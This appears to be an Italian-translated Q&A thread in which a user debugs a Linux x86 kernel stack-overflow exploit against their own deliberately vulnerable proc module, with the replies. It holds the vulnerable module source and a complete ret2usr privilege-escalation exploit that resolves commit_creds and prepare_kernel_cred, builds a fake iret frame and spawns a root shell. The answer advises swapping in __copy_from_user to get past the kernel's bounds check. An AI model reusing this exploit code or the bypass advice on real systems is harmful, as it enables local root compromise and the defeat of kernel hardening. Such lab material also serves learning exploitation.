Kernel x86 Stack Overflow a 32 bit - sovrascrittura EIP segfaults in __kernel_vsyscall + 9 [closed]

1

Perché segfaults in __kernel_vsyscall + 9?

È stata effettuata un'ispezione di EIP, interrotta subito dopo fwrite (), riga 93 in exp.c

(gdb) x/10x 0xb7fd9ce5

0xb7fd9ce5 <__kernel_vsyscall+9>:   0xc3595a5d  0x90909090  0x5800768d  0x000077b8
0xb7fd9cf5 <__kernel_sigreturn+5>:  0x9080cd00  0xb800768d  0x000000ad  0xfb9080cd
0xb7fd9d05: 0x3dfffff9  0x71000000
(gdb) 

Qualche idea sul perché va lì e, ancora più importante, su segfaults?

Grazie,

Altre informazioni:

[16503.171774] ---[ end trace 9f629cab95afffb2 ]---
[16685.903383]  module startedn
[16685.903389]  creating proc entry @ /proc/buggyn
[16693.888290]  buggy_write XXr\xffffffb7\xffffffdft\xffffffb7\xffffffcat\xffffffb 24
[16693.888300] ------------[ cut here ]------------
[16693.888399] WARNING: CPU: 0 PID: 9419 at ./arch/x86/include/asm/uaccess.h:688 buggy_write+0x90/0xa0 [hello_1]
[16693.888417] Buffer overflow detected (8 < 24)!
[16693.888420] Modules linked in: hello_1(POE) vboxsf(OE) snd_intel8x0 snd_ac97_codec ac97_bus snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi snd_seq intel_powerclamp snd_seq_device vboxvideo(OE) snd_timer intel_rapl_perf ttm joydev input_leds drm_kms_helper serio_raw i2c_piix4 snd drm fb_sys_fops syscopyarea sysfillrect sysimgblt soundcore vboxguest(OE) mac_hid parport_pc ppdev lp parport autofs4 hid_generic usbhid hid psmouse ahci libahci e1000 pata_acpi fjes video [last unloaded: hello_1]
[16693.888652] CPU: 0 PID: 9419 Comm: exp Tainted: P        W  OE   4.10.0-28-generic #32~16.04.2-Ubuntu
[16693.888669] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
[16693.888682] Call Trace:
[16693.888736]  dump_stack+0x58/0x79
[16693.888776]  __warn+0xea/0x110
[16693.888813]  ? buggy_write+0x90/0xa0 [hello_1]
[16693.888837]  ? 0xf9c77000
[16693.888860]  warn_slowpath_fmt+0x46/0x60
[16693.888895]  buggy_write+0x90/0xa0 [hello_1]
[16693.888928]  proc_reg_write+0x4d/0x70
[16693.888951]  ? proc_reg_poll+0x70/0x70
[16693.888977]  __vfs_write+0x1f/0x50
[16693.889001]  vfs_write+0x9a/0x1c0
[16693.889032]  ? __fdget_pos+0x13/0x40
[16693.889055]  SyS_write+0x49/0xb0
[16693.889084]  do_int80_syscall_32+0x5c/0xc0
[16693.889114]  entry_INT80_32+0x31/0x31
[16693.889126] EIP: 0xb7728ce5
[16693.889136] EFLAGS: 00000246 CPU: 0
[16693.889149] EAX: ffffffda EBX: 00000003 ECX: 085ec570 EDX: 00000018
[16693.889160] ESI: 085ec410 EDI: 085ec570 EBP: 00000018 ESP: bf8066b8
[16693.889171]  DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 007b
[16693.889198] ---[ end trace 9f629cab95afffb3 ]---

cat hello-1.c

#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/uaccess.h>

struct proc_dir_entry *proc_file_entry;

// Buggy write handling
static ssize_t buggy_write(struct file *file,const char *buf, size_t len, loff_t *off){

        char data[8];

        printk(" buggy_write %s %i", buf, len);
        copy_from_user(&data, buf,len);

        return len;
}

static const struct file_operations proc_file_fops = {
 .owner = THIS_MODULE,
 .write  = buggy_write
};

int init_module()  
{
        printk(" module startedn");
        printk(" creating proc entry @ /proc/buggyn");

        // handle anything written to /proc/buggy
        // pass it to buggy_write
        proc_file_entry = proc_create_data("buggy", 0666, NULL, &proc_file_fops,NULL);

        return 0;
}

void cleanup_module()  
{
        remove_proc_entry("buggy", NULL);
}

cat exp.c

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/user.h>

struct fake_frame {  
    void *eip;         // shell()
    uint32_t cs;       // %cs
    uint32_t eflags;   // eflags
    void *esp;         // %esp
    uint32_t ss;       // %ss
} __attribute__((packed)) ff;

void* (*prepare_kernel_cred)(void*)  __attribute__((regparm(3)));  
void* (*commit_creds)(void*) __attribute__((regparm(3)));

void shell(void) {  
    execl("/bin/sh", "sh", 0);
}

void payload(void) {  
    commit_creds(prepare_kernel_cred(0));
    asm("mov ff, %esp;"
            "iret;");
}

/*
 * Setup the fake frame
 * |ss     | Lower
 * |esp    |
 * |eflags |
 * |cs     |
 * |eip    |
 */
void setup_ff(void) {  
    asm("pushl %cs;  popl ff+4;"
        "pushfl;     popl ff+8;"
         "pushl %esp; popl ff+12;"
        "pushl %ss;  popl ff+16;");
    ff.eip = &shell;
    ff.esp -= 1024;
}

int main()  
{
    FILE *fd;
    char buf[24];
    *((void**) (buf+20)) = &payload;
    int ret = 0;
    unsigned long addr;
    char dummy;
    char sname[512];

    // Get needed addresses
    fd = fopen("/proc/kallsyms", "r");
    if(fd == NULL) {
        perror("fopen()");
        return -1;
    }
    while(ret != EOF) {
        ret = fscanf(fd, "%p %c %sn", (void **)&addr, &dummy, sname);
        if(prepare_kernel_cred && commit_creds)
            break;
        else
        if(!strncmp(sname, "prepare_kernel_cred", 512))
            prepare_kernel_cred = (void*)addr;
        else
        if(!strncmp(sname, "commit_creds", 512))
            commit_creds = (void*)addr;

    }
    fclose(fd);
    fprintf(stdout, "[+] commit_creds at %pn", (void **)addr);
    fprintf(stdout, "[+] prepare_kernel_cred %pn", (void **)addr);

    // setup fake frame
    fprintf(stdout, "[+] preparing fake framen");
    setup_ff();

    // write payload
    fprintf(stdout, "[+] writing payload to /proc/buggyn");
    fd = fopen("/proc/buggy", "w");
    if(fd == NULL) {
        perror("fopen()");
        return -1;
    }
    fwrite(buf, sizeof(buf),1, fd);
    fclose(fd);

    return 0;
}

Aggiornamento 1:

(gdb) i r
eax            0x804b000    134524928
ecx            0xfff    4095
edx            0xb7fbb000   -1208242176
ebx            0x0  0
esp            0xbffff188   0xbffff188
ebp            0xb7fbcdcc   0xb7fbcdcc <__curbrk>
esi            0x0  0
edi            0x21000  135168
eip            0xb7fd9ce5   0xb7fd9ce5 <__kernel_vsyscall+9>
eflags         0x296    [ PF AF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
(gdb) x/10i 0xb7fd9ce5
=> 0xb7fd9ce5 <__kernel_vsyscall+9>:    pop    %ebp
   0xb7fd9ce6 <__kernel_vsyscall+10>:   pop    %edx
   0xb7fd9ce7 <__kernel_vsyscall+11>:   pop    %ecx
   0xb7fd9ce8 <__kernel_vsyscall+12>:   ret    
   0xb7fd9ce9:  nop
   0xb7fd9cea:  nop
   0xb7fd9ceb:  nop
   0xb7fd9cec:  nop
   0xb7fd9ced:  lea    0x0(%esi),%esi
   0xb7fd9cf0 <__kernel_sigreturn>: pop    %eax
(gdb) 

Aggiornamento 2:

Dopo aver cambiato in __copy_from_user ()

EIP: __check_object_size+0x6a/0x13a
[  268.591265] EFLAGS: 00010286 CPU: 0
[  268.591997] EAX: 0000005b EBX: ced3deec ECX: f71e8900 EDX: 00000007
[  268.592333] ESI: 00000018 EDI: cda74cfc EBP: ced3ded8 ESP: ced3deb0
[  268.592713]  DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068
[  268.593043] CR0: 80050033 CR2: 096df438 CR3: 25868280 CR4: 000006f0
[  268.593470] Call Trace:
[  268.594254]  ? 0xf87c6000
[  268.594629]  buggy_write+0x3c/0x70 [hello_1]
[  268.595051]  proc_reg_write+0x4d/0x70
[  268.595289]  ? proc_reg_poll+0x70/0x70
[  268.595525]  __vfs_write+0x1f/0x50
[  268.595742]  vfs_write+0x9a/0x1c0
[  268.595952]  ? __fdget_pos+0x13/0x40
[  268.596983]  SyS_write+0x49/0xb0
[  268.597239]  do_int80_syscall_32+0x5c/0xc0
[  268.597559]  entry_INT80_32+0x31/0x31
[  268.597814] EIP: 0xb7fd9ce5
[  268.597990] EFLAGS: 00000246 CPU: 0
[  268.598193] EAX: ffffffda EBX: 00000003 ECX: 0804b570 EDX: 00000018
[  268.598515] ESI: 0804b410 EDI: 0804b570 EBP: 00000018 ESP: bffff258
[  268.600418]  DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 007b
[  268.601951] Code: 24 38 b8 a7 cd 89 f9 bf fc 4c a7 cd 84 c9 b9 f6 14 ab cd 0f 44 ca ba 47 e9 a7 cd 0f 44 d7 89 4c 24 08 89 54 24 04 e8 14 83 f8 ff <0f> 0b 8d 74 26 00 83 f8 10 0f 86 b7 00 00 00 e8 52 d0 fc ff 85
[  268.619407] EIP: __check_object_size+0x6a/0x13a SS:ESP: 0068:ced3deb0
[  268.636139] fbcon_switch: detected unhandled fb_set_par error, error code -16
[  268.679446] fbcon_switch: detected unhandled fb_set_par error, error code -16
[  268.721666] ---[ end trace 9339f36f8a5c6988 ]---

Aggiornamento 3:

Su un altro computer ho ricevuto questo messaggio

[  171.982697]  module startedn creating proc entry @ /proc/buggyn buggy_write X(v\xffffffb7\xffffffafx\xffffffb7\xffffffaa\xffffffdew\xffffffb 24
[  173.805365] usercopy: kernel memory overwrite attempt detected to f1ca3ee4 (<process stack>) (24 bytes)

Sospetto che il processo venga ucciso rispetto a:

+static void report_usercopy(const void *ptr, unsigned long len,
+               bool to_user, const char *type)
+{
+   pr_emerg("kernel memory %s attempt detected %s %p (%s) (%lu bytes)\n",
+       to_user ? "exposure" : "overwrite",
+       to_user ? "from" : "to", ptr, type ? : "unknown", len);
+   dump_stack();
+   do_group_exit(SIGKILL);
+}

Questo ha un senso.

Aggiornamento 4:

nella mia fonte del kernel:

linux-HWE-4.10.0 / mm / usercopy.c

static void report_usercopy(const void *ptr, unsigned long len,
                            bool to_user, const char *type)
{
        pr_emerg("kernel memory %s attempt detected %s %p (%s) (%lu bytes)\n",
                to_user ? "exposure" : "overwrite",
                to_user ? "from" : "to", ptr, type ? : "unknown", len);
        /*
         * For greater effect, it would be nice to do do_group_exit(),
         * but BUG() actually hooks all the lock-breaking and per-arch
         * Oops code, so that is used here instead.
         */
        BUG();
}

OK, quindi suppongo di doverlo rimuovere per avere successo con il mio sfruttamento

    
posta android_dev 09.10.2017 - 15:23
fonte

1 risposta

3

Se hai un aspetto in x86/include/asm/uaccess.h vedrai che c'è una verifica della dimensione copy_from_user() . Normalmente si vorrebbe che fosse rilevato, ma poiché si sta facendo un overflow del buffer intenzionale, si potrebbe voler usare _copy_from_user() o anche __copy_from_user() . Queste funzioni sono definite in x86/lib/usercopy_32.c

Per quanto riguarda __kernel_vsyscall+9 , questo è un indirizzo nella funzione che esegue syscall nel kernel, sarà più informativo se si esegue uno smontaggio di quella funzione. O

(gdb) x/10i $eip

o semplicemente

(gdb) disassemble

La mia ipotesi è che il controllo dei limiti non riusciti rilevato innesca un errore di segmentazione che viene generato dopo il ritorno di syscall.

    
risposta data 09.10.2017 - 16:13
fonte

Leggi altre domande sui tag